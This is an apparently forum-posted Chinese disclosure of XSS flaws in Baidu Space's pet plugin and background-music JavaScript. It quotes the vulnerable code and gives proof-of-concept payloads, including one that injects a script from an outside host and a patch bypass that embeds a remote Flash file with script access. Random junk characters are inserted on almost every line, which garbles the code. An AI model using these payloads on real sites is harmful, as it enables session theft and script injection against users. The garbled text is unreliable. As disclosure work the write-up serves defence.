百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
! D: ?: y+ e+ ?# i* q$ K4 x( d* j* ~: I: c2 z3 }/ `
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. 8 w, K- f# Y1 ]9 \4 d+ D' ^7 ]
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
, g6 W# B# U( o6 L
7 [/ D1 V" \, I9 j. V; E3 z将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> # F6 d' _5 @. n) Q
其中BdUtil.insertWBR为
4 a" M9 N7 |0 \3 C8 y+ ]5 c; ifunction(text, step) {
$ n2 g# x: [( [6 v$ j+ M var textarea = textAreaCache || getContainer(); ! X# T. C4 C. Y! K
if (!textarea) { 5 _5 `) @( H; b- ]7 Z$ c$ I
return text;
) \! K2 E2 v3 W. m: h" ], c }
' V7 _: Z) R3 y. y textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 2 H: y1 k+ I. \1 w
var string = textarea.value;
3 {' H9 c1 S- M. c& n var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); , w" D: z* X# X$ J8 G7 B6 J
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
' b5 i. F% Q; L. k6 p- S return result;
- w$ G9 O& L8 O& O} 8 ?7 W( e8 ^ s
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. - k# k7 e& N3 |8 T/ t
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
8 h7 t2 ]# f& W$ M2 u% J* K ; E3 ]7 W( O! y. Y/ P6 O
二:creatbgmusic() Dom-Xss Bug & R/ {8 y2 z6 {! d( x- @8 V
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
5 H" G$ a; m( f- A' f1 `, t, [8 ]9 p6 n* I$ K
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
- Y2 u8 [4 t" A7 r; [2 X
E( [ R5 C5 @function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { 6 p6 w7 o+ Y# ?1 l
//传入的murl赋值到bgmusic1和bgmusic2中
3 U: y: G3 D+ P0 w$ r+ l //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
5 V3 l: y J! t var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; ?7 O3 l$ w# T0 T+ q$ ]" i: k4 P$ W
if (musicnum <= 1) {
) K7 L* A$ X% }, M0 j bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; % V8 @7 T- S$ {" M6 J/ U8 x
}
5 q) [! x/ L3 U; L( w. J) `* d bgmusic1 += "</OBJECT>";
* w, H6 D! y+ `1 Z+ X var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; ; x: W8 H, X$ Z% ` } k
if (musicnum <= 1) { 0 d' n) C- ]- F& ~
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; ! }% S! ^8 j. `8 E* k% C
} * `) I7 S# \0 B
bgmusic2 += "> </EMBED>"; , O+ c6 X6 A$ A* ]( i4 A' b
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; ( F+ k3 A& t i6 y2 v# b* n
var bgmus = detectWMP(); 8 K) s* }6 B8 a
if (functype == "FckMusicHelper") {
3 [; |. ~4 V9 z' ^$ ~! W U if (bgmus.installed) {
! s' X" K9 v2 g6 v if (bgmus.type == "IE") { 6 T( M, s4 N1 J1 @0 v J- H: h
return bgmusic1;
' r9 Q2 d$ e* G7 c/ w. H } else if (bgmus.type == "NS") {
+ D+ a; {( N) N return bgmusic2; 5 R) A* Z- Z! q- c9 d& L
}
3 y% O2 P& v& ]+ u" Y+ E* E, N } else {
7 p0 }6 ~4 q: w& H3 S3 I return bgmusic3; ) b9 W, L b0 o* ~3 @* A
}
0 n& V1 X) L, D [- f s s# y } else { 3 \& v2 Y# s, f. u
if (bgmus.installed) {
: [9 s# g# W& J. y4 J) M3 K Z //document.write 直接输出bgmusic变量 导致xss , i. U4 B6 H' U2 `+ b0 V8 e
if (bgmus.type == "IE") { 1 I+ P3 b* v' ~4 a, E
document.write(bgmusic1); + V. c+ r5 @8 M& L) g. x! {
} else if (bgmus.type == "NS") { 5 y9 L: v. b) \! c) {
document.write(bgmusic2);
+ L$ k3 a% o* Y+ c$ |. w }
( s1 U3 ?3 A) v, e7 M } else {
+ @) \# G( M# i7 P$ H* t document.write(bgmusic3);
) S; o" W+ R$ K- X% b; r; } }
$ a! l) a5 ]+ y+ C. Z return ""; 1 Y l1 U+ B: c0 Y9 y1 @: j, M# E
} $ u! P4 b4 i! x) t$ t9 T. ^# A* A0 c6 n
} 7 Y2 t( ^4 s7 R) z8 Z0 T( L" X
: @6 R5 F* W3 V" O: z) E O在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 5 U7 a( [7 u- V
! D0 q3 ~4 H9 ]1 x& U y
function initBlogTextForFCK(){ 8 ]5 D7 L5 H6 l
//fck init music
# o$ r& U9 | } |+ W. l/ k4 D% Mif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
& u8 i9 W3 w" F N/ ?var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
6 D+ n& p) X* c( Tvar isAutoPlay=true;
. D7 Q. i( {: W5 _$ Rfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. . z4 ?% r: F! S6 _9 X; D& `& @
var img=imgBox;
; D; n# c# G5 x/ |0 o if(img.getAttribute(’rel’)){ 4 x3 j& d8 x, W2 P
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc & M/ T: v" `0 y' Z1 P5 r x
var musicDiv = document.createElement("SPAN"); 0 T2 B* N8 V1 z3 H I
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
8 W3 ^$ k4 S: g
2 Y7 z0 e' D6 J1 h2 F7 H .......................... ; O, |; E& ]/ y! p" V
$ k+ ^+ H/ T/ G
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. 3 J. N* t8 Q; l( u# i
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
0 X. W% P) ]$ f, W* ]; E shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
% b# W; r7 C @2 V1 ?- D musicDiv.innerHTML=shtml; " h" y$ n0 f. u0 _% Y1 r
i--;n--; 0 a3 j- W- Z0 b4 I* S2 I# F. ?; a
}
# F) G! P- s& x} 8 a, }$ O) d& B) Z/ A0 z- [
8 u. _1 D2 l' x+ v1 S& ]9 \从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. 4 A# L3 E, A9 |. L2 a
9 |# m( b7 q( u
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
% L A2 F2 z$ |: _, D$ |" C: A0 N# q5 d' f3 ]* C* H( R, [ I
等待官方补丁
4 f+ G% V8 z0 d9 }
) V0 J9 K- C; R6 L( f' j% yupdate 2010年5月13日
# G4 f2 u3 V5 K# y$ y3 r- {/ J. F- x: Q9 [: F1 b# c. H- m, C/ Y
官方补丁: $ G" @( c2 ~$ r4 W6 I# G5 Q
0 R: @6 f7 K$ _var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
. ~3 i9 [$ N* [改为:
# ]# f& @8 Z; C/ \var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); 9 k. Z: \" M3 h3 j; S
. D- K% S! d" t) T$ U4 j2 a
update 2010年5月13日 21:50:37 f) \- z& Q$ k, k! l. d
" n* C) m& K2 ^" f3 j+ l8 b
补丁存在漏洞 没有过滤" 可以继续跨: % G$ e" A8 t+ ?5 ^
; q: t/ E% s6 F' M% JNEW POC: 1 r( a5 u! y; f& H
, U% N2 z9 X3 m4 R' M$ A4 s1 C
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
: ?% w) s" C. e* M) s3 l) [; n9 l. n
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
3 ]1 n2 m* p) m, v # U4 x* D' V+ I E# V! ^
|